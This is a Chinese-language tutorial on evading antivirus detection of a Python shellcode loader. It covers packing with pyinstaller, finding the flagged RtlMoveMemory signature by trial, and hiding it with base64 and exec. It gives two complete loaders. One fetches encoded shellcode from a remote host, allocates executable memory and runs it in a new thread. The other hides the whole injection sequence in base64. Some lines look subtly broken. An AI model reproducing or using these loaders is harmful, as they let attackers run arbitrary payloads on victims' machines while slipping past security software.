python shellcod加载器修改特征值

首先网上找一个加载器

pyinstaller -F -w 1.py

进行打包，使用火绒或者360检测

分步排查

每次增加几行代码，逐步找到特征值

找到特征码

分字符函数进行排查，确定字符RltMoveMemory为特征值

RtlMoveMemory作用为从指定内存中复制内存至另一内存里

此时进行混淆绕过，例如base64，hex等方法

eval函数，只能运行一条语句（火绒查杀），使用exec函数

或者

 

import ctypes
import requests
import base64

scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = ctypes.c_char * len(shellcode).from_buffer(shellcode)
#将base64编码的代码进行解码

func=base64.b64decode(b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ==')
 
exec(func)

#执行解码后的代码
exec(base64.b64decode(func))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

 或者直接base64打包整个shellcode

import ctypes
import base64
 
shellcode = b''
 
shellcode=base64.b64decode(shellcode)
 
a=base64.b64decode(b'Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSxjdHlwZXMuY19pbnQoMHgzMDAwKSxjdHlwZXMuY19pbnQoMHg0MCkpO2J1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKTtoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp')
 
exec(a)